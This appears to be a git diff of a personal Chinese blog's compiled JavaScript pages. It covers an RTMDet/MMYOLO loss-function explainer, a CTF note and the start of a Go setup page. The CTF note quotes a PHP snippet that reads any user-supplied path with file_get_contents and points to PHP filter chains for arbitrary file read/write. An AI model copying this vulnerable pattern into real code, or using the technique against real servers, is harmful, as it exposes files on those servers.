\u7684\u4e00\u90e8\u5206\u3002"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/25873202/192767279-4e69f935-1685-4089-82a3-0add201f98cc.png",alt:"image"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u666e\u901a\u7684 Focal Loss \u516c\u5f0f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"{FL}(p) = -(1-p_t)^\\gamma\\log(p_t),p_t = \\begin{cases}\np, & {when} \\ y = 1 \\\\\n1 - p, & {when} \\ y = 0\n\\end{cases}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5176\u4e2d {math}",(0,l.jsx)(n.code,{children:"y\\in{1,0}"})," \u6307\u5b9a\u771f\u5b9e\u7c7b\uff0c{math}",(0,l.jsx)(n.code,{children:"p\\in[0,1]"})," \u8868\u793a\u6807\u7b7e {math}",(0,l.jsx)(n.code,{children:"y = 1"})," \u7684\u7c7b\u4f30\u8ba1\u6982\u7387\u3002{math}",(0,l.jsx)(n.code,{children:"\\gamma"})," \u662f\u53ef\u8c03\u805a\u7126\u53c2\u6570\u3002\u5177\u4f53\u6765\u8bf4\uff0cFL \u7531\u6807\u51c6\u4ea4\u53c9\u71b5\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-\\log(p_t)"})," \u548c\u52a8\u6001\u6bd4\u4f8b\u56e0\u5b50\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u7ec4\u6210\uff0c\u5176\u4e2d\u6bd4\u4f8b\u56e0\u5b50 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u5728\u8bad\u7ec3\u671f\u95f4\u81ea\u52a8\u964d\u4f4e\u7b80\u5355\u7c7b\u5bf9\u4e8e loss \u7684\u6bd4\u91cd\uff0c\u5e76\u4e14\u8fc5\u901f\u5c06\u6a21\u578b\u96c6\u4e2d\u5728\u56f0\u96be\u7c7b\u4e0a\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9996\u5148 {math}",(0,l.jsx)(n.code,{children:"y = 0"})," \u8868\u793a\u8d28\u91cf\u5f97\u5206\u4e3a 0 \u7684\u8d1f\u6837\u672c\uff0c{math}",(0,l.jsx)(n.code,{children:"0 < y \\leq 1"})," \u8868\u793a\u76ee\u6807 IoU \u5f97\u5206\u4e3a y \u7684\u6b63\u6837\u672c\u3002\u4e3a\u4e86\u9488\u5bf9\u8fde\u7eed\u7684\u6807\u7b7e\uff0c\u6269\u5c55 FL \u7684\u4e24\u4e2a\u90e8\u5206\uff1a"]}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\u4ea4\u53c9\u71b5\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-\\log(p_t)"})," \u6269\u5c55\u4e3a\u5b8c\u6574\u7248\u672c {math}",(0,l.jsx)(n.code,{children:"-((1-y)\\log(1-\\sigma)+y\\log(\\sigma))"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u6bd4\u4f8b\u56e0\u5b50\u90e8\u5206 {math}",(0,l.jsx)(n.code,{children:"-(1-p_t)^\\gamma"})," \u88ab\u6cdb\u5316\u4e3a\u4f30\u8ba1 {math}",(0,l.jsx)(n.code,{children:"\\gamma"})," \u4e0e\u5176\u8fde\u7eed\u6807\u7b7e {math}",(0,l.jsx)(n.code,{children:"y"})," \u7684\u7edd\u5bf9\u8ddd\u79bb\uff0c\u5373 {math}",(0,l.jsx)(n.code,{children:"|y-\\sigma|^\\beta (\\beta \\geq 0)"})," \u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u7ed3\u5408\u4e0a\u9762\u4e24\u4e2a\u90e8\u5206\u4e4b\u540e\uff0c\u6211\u4eec\u5f97\u51fa QFL \u7684\u516c\u5f0f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"{QFL}(\\sigma) = -|y-\\sigma|^\\beta((1-y)\\log(1-\\sigma)+y\\log(\\sigma))\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5177\u4f53\u4f5c\u7528\u662f\uff1a\u53ef\u4ee5\u5c06\u79bb\u6563\u6807\u7b7e\u7684 ",(0,l.jsx)(n.code,{children:"focal loss"})," \u6cdb\u5316\u5230\u8fde\u7eed\u6807\u7b7e\u4e0a\uff0c\u5c06 bboxes \u4e0e gt \u7684 IoU \u7684\u4f5c\u4e3a\u5206\u7c7b\u5206\u6570\u7684\u6807\u7b7e\uff0c\u4f7f\u5f97\u5206\u7c7b\u5206\u6570\u4e3a\u8868\u5f81\u56de\u5f52\u8d28\u91cf\u7684\u5206\u6570\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u5b9e\u73b0\u6e90\u7801\u7684\u6838\u5fc3\u90e8\u5206\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'@weighted_loss\ndef quality_focal_loss(pred, target, beta=2.0):\n """\n pred (torch.Tensor): \u7528\u5f62\u72b6\uff08N\uff0cC\uff09\u8054\u5408\u8868\u793a\u9884\u6d4b\u5206\u7c7b\u548c\u8d28\u91cf\uff08IoU\uff09\uff0cC\u662f\u7c7b\u7684\u6570\u91cf\u3002\n target (tuple([torch.Tensor])): \u76ee\u6807\u7c7b\u522b\u6807\u7b7e\u7684\u5f62\u72b6\u4e3a\uff08N\uff0c\uff09\uff0c\u76ee\u6807\u8d28\u91cf\u6807\u7b7e\u7684\u5f62\u72b6\u662f\uff08N\uff0c\uff0c\uff09\u3002\n beta (float): \u8ba1\u7b97\u6bd4\u4f8b\u56e0\u5b50\u7684 \u03b2 \u53c2\u6570.\n """\n ...\n\n # label\u8868\u793a\u7c7b\u522bid\uff0cscore\u8868\u793a\u8d28\u91cf\u5206\u6570\n label, score = target\n\n # \u8d1f\u6837\u672c\u8d28\u91cf\u5206\u65700\u6765\u8fdb\u884c\u76d1\u7763\n pred_sigmoid = pred.sigmoid()\n scale_factor = pred_sigmoid\n zerolabel = scale_factor.new_zeros(pred.shape)\n\n # \u8ba1\u7b97\u4ea4\u53c9\u71b5\u90e8\u5206\u7684\u503c\n loss = F.binary_cross_entropy_with_logits(\n pred, zerolabel, reduction=\'none\') * scale_factor.pow(beta)\n\n # \u5f97\u51fa IoU \u5728\u533a\u95f4 (0,1] \u7684 bbox\n # FG cat_id: [0, num_classes -1], BG cat_id: num_classes\n bg_class_ind = pred.size(1)\n pos = ((label >= 0) & (label < bg_class_ind)).nonzero().squeeze(1)\n pos_label = label[pos].long()\n\n # \u6b63\u6837\u672c\u7531 IoU \u8303\u56f4\u5728 (0,1] \u7684 bbox \u6765\u76d1\u7763\n # \u8ba1\u7b97\u52a8\u6001\u6bd4\u4f8b\u56e0\u5b50\n scale_factor = score[pos] - pred_sigmoid[pos, pos_label]\n\n # \u8ba1\u7b97\u4e24\u90e8\u5206\u7684 loss\n loss[pos, pos_label] = F.binary_cross_entropy_with_logits(\n pred[pos, pos_label], score[pos],\n reduction=\'none\') * scale_factor.abs().pow(beta)\n\n # \u5f97\u51fa\u6700\u7ec8 loss\n loss = loss.sum(dim=1, keepdim=False)\n return loss\n'})}),"\n",(0,l.jsx)(n.h4,{id:"giouloss",children:"GIoULoss"}),"\n",(0,l.jsxs)(n.p,{children:["\u8bba\u6587\uff1a",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1902.09630",children:"Generalized Intersection over Union: A Metric and A Loss for Bounding Box Regression"})]}),"\n",(0,l.jsx)(n.p,{children:"GIoU Loss \u7528\u4e8e\u8ba1\u7b97\u4e24\u4e2a\u6846\u91cd\u53e0\u533a\u57df\u7684\u5173\u7cfb\uff0c\u91cd\u53e0\u533a\u57df\u8d8a\u5927\uff0c\u635f\u5931\u8d8a\u5c0f\uff0c\u53cd\u4e4b\u8d8a\u5927\u3002\u800c\u4e14 GIoU \u662f\u5728 [0,2] \u4e4b\u95f4\uff0c\u56e0\u4e3a\u5176\u503c\u88ab\u9650\u5236\u5728\u4e86\u4e00\u4e2a\u8f83\u5c0f\u7684\u8303\u56f4\u5185\uff0c\u6240\u4ee5\u7f51\u7edc\u4e0d\u4f1a\u51fa\u73b0\u5267\u70c8\u7684\u6ce2\u52a8\uff0c\u8bc1\u660e\u4e86\u5176\u5177\u6709\u6bd4\u8f83\u597d\u7684\u7a33\u5b9a\u6027\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u4e0b\u56fe\u662f\u57fa\u672c\u7684\u5b9e\u73b0\u6d41\u7a0b\u56fe\uff1a"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/25873202/192568784-3884b677-d8e1-439c-8bd2-20943fcedd93.png",alt:"image"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u5b9e\u73b0\u6e90\u7801\u7684\u6838\u5fc3\u90e8\u5206\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"def bbox_overlaps(bboxes1, bboxes2, mode='iou', is_aligned=False, eps=1e-6):\n ...\n\n # \u6c42\u4e24\u4e2a\u533a\u57df\u7684\u9762\u79ef\n area1 = (bboxes1[..., 2] - bboxes1[..., 0]) * (\n bboxes1[..., 3] - bboxes1[..., 1])\n area2 = (bboxes2[..., 2] - bboxes2[..., 0]) * (\n bboxes2[..., 3] - bboxes2[..., 1])\n\n if is_aligned:\n # \u5f97\u51fa\u4e24\u4e2a bbox \u91cd\u5408\u7684\u5de6\u4e0a\u89d2 lt \u548c\u53f3\u4e0b\u89d2 rb\n lt = torch.max(bboxes1[..., :2], bboxes2[..., :2]) # [B, rows, 2]\n rb = torch.min(bboxes1[..., 2:], bboxes2[..., 2:]) # [B, rows, 2]\n\n # \u6c42\u91cd\u5408\u9762\u79ef\n wh = fp16_clamp(rb - lt, min=0)\n overlap = wh[..., 0] * wh[..., 1]\n\n if mode in ['iou', 'giou']:\n ...\n else:\n union = area1\n if mode == 'giou':\n # \u5f97\u51fa\u4e24\u4e2a bbox \u6700\u5c0f\u51f8\u95ed\u5408\u6846\u7684\u5de6\u4e0a\u89d2 lt \u548c\u53f3\u4e0b\u89d2 rb\n enclosed_lt = torch.min(bboxes1[..., :2], bboxes2[..., :2])\n enclosed_rb = torch.max(bboxes1[..., 2:], bboxes2[..., 2:])\n else:\n ...\n\n # \u6c42\u91cd\u5408\u9762\u79ef / gt bbox \u9762\u79ef \u7684\u6bd4\u7387\uff0c\u5373 IoU\n eps = union.new_tensor([eps])\n union = torch.max(union, eps)\n ious = overlap / union\n\n ...\n\n # \u6c42\u6700\u5c0f\u51f8\u95ed\u5408\u6846\u9762\u79ef\n enclose_wh = fp16_clamp(enclosed_rb - enclosed_lt, min=0)\n enclose_area = enclose_wh[..., 0] * enclose_wh[..., 1]\n enclose_area = torch.max(enclose_area, eps)\n\n # \u8ba1\u7b97 giou\n gious = ious - (enclose_area - union) / enclose_area\n return gious\n\n@weighted_loss\ndef giou_loss(pred, target, eps=1e-7):\n gious = bbox_overlaps(pred, target, mode='giou', is_aligned=True, eps=eps)\n loss = 1 - gious\n return loss\n"})}),"\n",(0,l.jsx)(n.h3,{id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",children:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/89863442/192943607-74952731-4eb7-45f5-b86d-2dad46732614.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",children:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/89863442/192943600-98c3a8f9-e42c-47ea-8e12-d20f686e9318.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(1) \u7279\u5f81\u56fe\u8f93\u5165"})}),"\n",(0,l.jsxs)(n.p,{children:["\u9884\u6d4b\u7684\u56fe\u7247\u8f93\u5165\u5927\u5c0f\u4e3a 640 x 640, \u901a\u9053\u6570\u4e3a 3 ,\u7ecf\u8fc7 CSPNeXt, CSPNeXtPAFPN \u5c42\u7684 8 \u500d\u300116 \u500d\u300132 \u500d\u4e0b\u91c7\u6837\u5f97\u5230 80 x 80, 40 x 40, 20 x 20 \u4e09\u4e2a\u5c3a\u5bf8\u7684\u7279\u5f81\u56fe\u3002\u4ee5 rtmdet-l \u6a21\u578b\u4e3a\u4f8b\uff0c\u6b64\u65f6\u4e09\u5c42\u901a\u9053\u6570\u90fd\u4e3a 256\uff0c\u7ecf\u8fc7 ",(0,l.jsx)(n.code,{children:"bbox_head"})," \u5c42\u5f97\u5230\u4e24\u4e2a\u5206\u652f\uff0c\u5206\u522b\u4e3a ",(0,l.jsx)(n.code,{children:"rtm_cls"})," \u7c7b\u522b\u9884\u6d4b\u5206\u652f\uff0c\u5c06\u901a\u9053\u6570\u4ece 256 \u53d8\u4e3a 80\uff0c80 \u5bf9\u5e94\u6240\u6709\u7c7b\u522b\u6570\u91cf; ",(0,l.jsx)(n.code,{children:"rtm_reg"})," \u8fb9\u6846\u56de\u5f52\u5206\u652f\u5c06\u901a\u9053\u6570\u4ece 256 \u53d8\u4e3a 4\uff0c4 \u4ee3\u8868\u6846\u7684\u5750\u6807\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(2) \u521d\u59cb\u5316\u7f51\u683c"})}),"\n",(0,l.jsx)(n.p,{children:"\u6839\u636e\u7279\u5f81\u56fe\u5c3a\u5bf8\u521d\u59cb\u5316\u4e09\u4e2a\u7f51\u683c\uff0c\u5927\u5c0f\u5206\u522b\u4e3a 6400 (80 x 80)\u30011600 (40 x 40)\u3001400 (20 x 20)\uff0c\u5982\u7b2c\u4e00\u4e2a\u5c42 shape \u4e3a torch.Size([ 6400, 2 ])\uff0c\u6700\u540e\u4e00\u4e2a\u7ef4\u5ea6\u662f 2\uff0c\u4e3a\u7f51\u683c\u70b9\u7684\u6a2a\u7eb5\u5750\u6807\uff0c\u800c 6400 \u8868\u793a\u5f53\u524d\u7279\u5f81\u5c42\u7684\u7f51\u683c\u70b9\u6570\u91cf\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(3) \u7ef4\u5ea6\u53d8\u6362"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7ecf\u8fc7 ",(0,l.jsx)(n.code,{children:"_predict_by_feat_single"})," \u51fd\u6570\uff0c\u5c06\u4ece head \u63d0\u53d6\u7684\u5355\u4e00\u56fe\u50cf\u7684\u7279\u5f81\u8f6c\u6362\u4e3a bbox \u7ed3\u679c\u8f93\u5165\uff0c\u5f97\u5230\u4e09\u4e2a\u5217\u8868 ",(0,l.jsx)(n.code,{children:"cls_score_list"}),"\uff0c",(0,l.jsx)(n.code,{children:"bbox_pred_list"}),"\uff0c",(0,l.jsx)(n.code,{children:"mlvl_priors"}),"\uff0c\u8be6\u7ec6\u5927\u5c0f\u5982\u56fe\u6240\u793a\u3002\u4e4b\u540e\u5206\u522b\u904d\u5386\u4e09\u4e2a\u7279\u5f81\u5c42\uff0c\u5206\u522b\u5bf9 class \u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u56de\u5f52\u5206\u652f\u8fdb\u884c\u5904\u7406\u3002\u4ee5\u7b2c\u4e00\u5c42\u4e3a\u4f8b\uff0c\u5bf9 bbox \u9884\u6d4b\u5206\u652f [ 4\uff0c80\uff0c80 ] \u7ef4\u5ea6\u53d8\u6362\u4e3a [ 6400\uff0c4 ]\uff0c\u5bf9\u7c7b\u522b\u9884\u6d4b\u5206\u652f [ 80\uff0c80\uff0c80 ] \u53d8\u5316\u4e3a [ 6400\uff0c80 ]\uff0c\u5e76\u5bf9\u5176\u505a\u5f52\u4e00\u5316\uff0c\u786e\u4fdd\u7c7b\u522b\u7f6e\u4fe1\u5ea6\u5728 0 - 1 \u4e4b\u95f4\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(4) \u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5148\u4f7f\u7528\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"nms_pre"})," \u64cd\u4f5c\uff0c\u5148\u8fc7\u6ee4\u5927\u90e8\u5206\u7f6e\u4fe1\u5ea6\u6bd4\u8f83\u4f4e\u7684\u9884\u6d4b\u7ed3\u679c\uff08\u6bd4\u5982 ",(0,l.jsx)(n.code,{children:"score_thr"})," \u9608\u503c\u8bbe\u7f6e\u4e3a 0.05\uff0c\u5219\u53bb\u9664\u5f53\u524d\u9884\u6d4b\u7f6e\u4fe1\u5ea6\u4f4e\u4e8e 0.05 \u7684\u7ed3\u679c\uff09\uff0c\u7136\u540e\u5f97\u5230 bbox \u5750\u6807\u3001\u6240\u5728\u7f51\u683c\u7684\u5750\u6807\u3001\u7f6e\u4fe1\u5ea6\u3001\u6807\u7b7e\u7684\u4fe1\u606f\u3002\u7ecf\u8fc7\u4e09\u4e2a\u7279\u5f81\u5c42\u904d\u5386\u4e4b\u540e\uff0c\u5206\u522b\u6574\u5408\u8fd9\u4e09\u4e2a\u5c42\u5f97\u5230\u7684\u7684\u56db\u4e2a\u4fe1\u606f\u653e\u5165 results \u5217\u8868\u4e2d\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(5) \u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6"})}),"\n",(0,l.jsx)(n.p,{children:"\u6700\u540e\u5c06\u7f51\u7edc\u7684\u9884\u6d4b\u7ed3\u679c\u6620\u5c04\u5230\u6574\u56fe\u5f53\u4e2d\uff0c\u5f97\u5230 bbox \u5728\u6574\u56fe\u4e2d\u7684\u5750\u6807\u503c"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(6) NMS"})}),"\n",(0,l.jsx)(n.p,{children:"\u8fdb\u884c nms \u64cd\u4f5c\uff0c\u6700\u7ec8\u9884\u6d4b\u5f97\u5230\u7684\u8fd4\u56de\u503c\u4e3a\u7ecf\u8fc7\u540e\u5904\u7406\u7684\u6bcf\u5f20\u56fe\u7247\u7684\u68c0\u6d4b\u7ed3\u679c\uff0c\u5305\u542b\u5206\u7c7b\u7f6e\u4fe1\u5ea6\uff0c\u6846\u7684 labels\uff0c\u6846\u7684\u56db\u4e2a\u5750\u6807"}),"\n",(0,l.jsx)(n.h2,{id:"2-\u603b\u7ed3",children:"2 \u603b\u7ed3"}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u6587\u5bf9 RTMDet \u539f\u7406\u548c\u5728 MMYOLO \u5b9e\u73b0\u8fdb\u884c\u4e86\u8be6\u7ec6\u89e3\u6790\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u7528\u6237\u7406\u89e3\u7b97\u6cd5\u5b9e\u73b0\u8fc7\u7a0b\u3002\u540c\u65f6\u8bf7\u6ce8\u610f\uff1a\u7531\u4e8e RTMDet \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u66f4\u65b0\uff0c\n\u672c\u5f00\u6e90\u5e93\u4e5f\u4f1a\u4e0d\u65ad\u8fed\u4ee3\uff0c\u8bf7\u53ca\u65f6\u9605\u8bfb\u548c\u540c\u6b65\u6700\u65b0\u7248\u672c\u3002"})]})}function x(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/6d4e924b.bb84c9ae.js b/assets/js/6d4e924b.bb84c9ae.js new file mode 100644 index 0000000..91ce985 --- /dev/null +++ b/assets/js/6d4e924b.bb84c9ae.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9787],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var s=n(96540);const r={},o=s.createContext(r);function l(e){const t=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(o.Provider,{value:t},e.children)}},63866:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/03.FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/03.FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"},"next":{"title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"}}');var r=n(74848),o=n(28453);const l={},i=void 0,c={},a=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2}];function d(e){const t={a:"a",code:"code",h2:"h2",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2024-06-11 11:03:33"})]})})]}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsx)(t.p,{children:"\u5728\u77e5\u8bc6\u661f\u7403\u91cc\u770b\u5230\u8fd9\u4e48\u4e00\u4e2a\u63d0\u95ee"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-php",children:"<?php\n$content = file_get_contents($_POST['url']);\n$json=$json_decode($content,1);\n$data=$json['data'];\necho json_encode($data);\n"})}),"\n",(0,r.jsxs)(t.p,{children:["\u8fd9\u91cc\u662f\u4efb\u610f\u6587\u4ef6\u8bfb\u5199\uff0c\u4f46\u662f\u88abjson\u683c\u5f0f\u5305\u88f9\u4e86\uff0c\u5728\u8bc4\u8bba\u533a\u627e\u5230\u7b54\u6848\u5229\u7528 ",(0,r.jsx)(t.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"filters"})," \u6784\u9020\u524d\u540e\u7f00\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u5199"]})]})}function h(e={}){const{wrapper:t}={...(0,o.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/6dbddcfb.e9c61750.js b/assets/js/6dbddcfb.e9c61750.js new file mode 100644 index 0000000..7dda5a6 --- /dev/null +++ b/assets/js/6dbddcfb.e9c61750.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6052],{3035:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install03-94003cedd4c8c3d4123d5d1f32165b7a.png"},17141:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell3-6ff42e26ac39aa9d37ef684ee2df98d9.png"},19177:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install01-d64ed61472ba87440aff0c0ea625f68a.png"},28453:(e,n,d)=>{d.d(n,{R:()=>c,x:()=>o});var s=d(96540);const l={},i=s.createContext(l);function c(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:c(e.components),s.createElement(i.Provider,{value:n},e.children)}},39172:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install04-175fa35fec313fe8a0e68a98285967e9.png"},48021:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode1-19b2bf87bcff59147b3c3e80150a19cf.gif"},52055:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/mac_install_go-78ef9274462840922eb6c8b9be929cb8.png"},61145:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_plugin-1666acd91203e8faed047f528bbca30a.png"},64876:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell2-209f754c65d23b1bfdcd6bb593412e1c.png"},69619:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png"},74008:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png"},77018:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell4-a13979f63666d799df0b3e9ece572b36.png"},79094:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install06-9eae44f8976c87e4bddd142b1937fcf9.png"},83879:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell1-d92eb0e53eada281e2ef0a8e5054768f.png"},88210:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install02-fb3f463fadd80bb5a1b075b7eff9478b.png"},89705:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_menu-ded71d067fd55419bd69c091f0ef9929.png"},91581:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_home-457928958889c5d715996ec4d55aa2f2.png"},92017:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>h,contentTitle:()=>o,default:()=>x,frontMatter:()=>c,metadata:()=>s,toc:()=>r});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","description":"\u6ce8\u610f\uff1aGo\u8bed\u8a001.14\u7248\u672c\u4e4b\u540e\u63a8\u8350\u4f7f\u7528go 